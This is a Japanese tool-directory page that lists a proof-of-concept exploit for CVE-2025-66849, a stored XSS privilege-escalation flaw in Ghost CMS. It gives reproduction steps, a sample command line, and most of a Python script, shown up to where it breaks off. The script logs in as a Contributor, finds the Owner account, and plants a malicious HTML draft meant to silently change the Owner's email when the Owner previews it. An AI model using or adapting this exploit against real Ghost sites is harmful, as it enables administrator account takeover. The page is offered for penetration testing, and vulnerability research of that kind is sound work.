Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-66849 — Ghost CMS 権限昇格 PoC | Kitploit
ツール/GitHubGitHub/wojtekchwala/cve-2025-66849
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubwojtekchwala/cve-2025-66849

CVE-2025-66849

Ghost CMS 権限昇格 PoC

リポジトリを見る
95ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-66849

Ghost CMS 権限昇格 PoC

概要

Ghost Foundation の Ghost CMS バージョン 6.4.0 以前において、投稿下書きエディタ内の HTML ブロックがユーザー提供のコンテンツを適切にサニタイズまたはエンコードしないため、保存型クロスサイトスクリプティング (XSS) の脆弱性が発生します。Contributor 権限を持つユーザーが下書きに任意の JavaScript を注入でき、Owner アカウントが閲覧した際に実行されます。これにより、攻撃者は Owner のコンテキストで特権アクションを実行できる可能性があります。

脆弱性概要

深刻度: 高

影響を受けるバージョン: Ghost 6.4.0 (2025年10月20日時点の最新) - Ghost CMS 6.4.0 以前

再現手順

この脆弱性を実証するには、2つのアカウントを持つローカルの Ghost CMS インスタンスをセットアップする必要があります。

  1. Owner アカウント - Ghost インストール時に自動的に作成されます。

  2. Contributor アカウント - Owner が新しいユーザーを招待することで作成されます。Ghost は Contributor のメールアドレスに Magic Link を送信し、アカウント設定を完了させます。

ローカル環境で実施するため、MailHog などのメールキャプチャツールを(例:Docker 経由で)インストールする必要があります。これにより、Ghost が送信する Magic Link をローカルで傍受し、Contributor 自身がアカウントを有効化できるようになります。

両方のアカウントが有効になったら、エクスプロイトスクリプト (contributor.py) を使用できます。このスクリプトには、Contributor のログイン認証情報と、エクスプロイト成功後に Owner アカウントに割り当てる新しいメールアドレスが必要です。

スクリプトのパラメータは以下の通りです:

-u / --username      Contributor のユーザー名(メールアドレス)
-p / --password      Contributor のパスワード
-e / --new-email     Owner アカウントに設定する新しいメールアドレス
--url                Ghost インスタンスの URL(オプション)

ターミナルでスクリプトを実行するには、次のコマンドを使用します:

python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'

実行すると、スクリプトは自動的に新しい投稿下書きを作成し、脆弱な HTML ブロック内に悪意のある JavaScript ペイロードを挿入します。

保存型 XSS をトリガーするには、Owner が下書きをプレビューするだけで十分です。Ghost 管理パネルで下書きを開き、「プレビュー」をクリックすると、注入されたスクリプトが Owner の権限でバックグラウンドで実行され、Owner はメールアドレスが変更されたことに気付きません。

import requests
import json
import argparse

class GhostCMSSession:
    def __init__(self, ghost_url="http://localhost:2368"):
        self.ghost_url = ghost_url.rstrip('/')
        self.api_url = f"{self.ghost_url}/ghost/api/admin"
        self.session = requests.Session()
        self.authenticated = False
        self.current_user = None
        self.owner_user = None

        self.session.headers.update({
            'Origin': self.ghost_url,
            'Accept': 'application/json',
            'Content-Type': 'application/json'
        })

    def login(self, username, password):
        """Login to Ghost with username and password"""
        login_url = f"{self.api_url}/session/"
        payload = {"username": username, "password": password}

        try:
            response = self.session.post(login_url, json=payload)

            if response.status_code == 201:
                print(f"✓ Successfully logged in as {username}")
                self.authenticated = True
                self.current_user = self.get_current_user()
                self.owner_user = self.get_owner_user()
                return True
            else:
                print(f"✗ Login failed: {response.status_code}")
                return False
        except Exception as e:
            print(f"✗ Login error: {str(e)}")
            return False

    def get_current_user(self):
        """Get current user information"""
        if not self.authenticated:
            return None

        try:
            url = f"{self.api_url}/users/me/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                user = data['users'][0]

                print(f"\n  Current User: {user.get('name', 'Unknown')}")
                print(f"  Email: {user.get('email', 'Unknown')}")
                print(f"  User ID: {user.get('id', 'Unknown')}")

                if 'roles' in user and user['roles']:
                    role = user['roles'][0]
                    if isinstance(role, dict):
                        print(f"  Role: {role.get('name', 'Unknown')}")

                return user
            return None
        except Exception as e:
            print(f"  Error fetching user: {str(e)}")
            return None

    def get_owner_user(self):
        """Fetch all users and find the owner - return full user object"""
        if not self.authenticated:
            return None

        try:
            print(f"\n  Fetching all users to find owner...")
            url = f"{self.api_url}/users/?include=roles"
            response = self.session.get(url)

            if response.status_code == 200:
                data = response.json()
                users = data.get('users', [])

                print(f"  Found {len(users)} users")

                for user in users:
                    if 'roles' in user and user['roles']:
                        role = user['roles'][0]
                        role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()

                        print(f"    - {user.get('name')} ({user.get('email')}) - Role: {role_name}")

                        if role_name == 'owner' or role_name == 'administrator':
                            print(f"\n  ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
                            print(f"    Slug: {user.get('slug')}")
                            print(f"    Email: {user.get('email')}")
                            return user

                return None
            return None
        except Exception as e:
            print(f"  ✗ Error fetching users: {str(e)}")
            return None

    def create_lexical_with_html(self, html_content):
        """Create Lexical format with HTML node (as a JSON string)"""
        lexical_structure = {
            "root": {
                "children": [
                    {
                        "type": "html",
                        "version": 1,
                        "html": html_content,
                        "visibility": {
                            "web": {
                                "nonMember": True,
                                "memberSegment": "status:free,status:-free"
                            },
                            "email": {
                                "memberSegment": "status:free,status:-free"
                            }
                        }
                    },
                    {
                        "children": [],
                        "direction": None,
                        "format": "",
                        "indent": 0,
                        "type": "paragraph",
                        "version": 1
                    }
                ],
                "direction": None,
                "format": "",
                "indent": 0,
                "type": "root",
                "version": 1
            }
        }
        return json.dumps(lexical_structure)

    def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
        """Create a post with Lexical HTML content"""
        if not self.authenticated or not self.current_user:
            print("✗ Not authenticated")
            return None

        if not self.owner_user:
            print("✗ Owner user not found")
            return None

        author_id = self.current_user.get('id')
        owner_id = self.owner_user.get('id')
        owner_slug = self.owner_user.get('slug')
        owner_name = self.owner_user.get('name')

        print(f"\n  Creating post with CONTRIBUTOR as author")
        print(f"  Author ID: {author_id} ({self.current_user.get('name')})")
        print(f"  Target Owner ID: {owner_id}")
        print(f"  Target Owner Slug: {owner_slug}")
        print(f"  Target Owner Name: {owner_name}")
ツールをダウンロード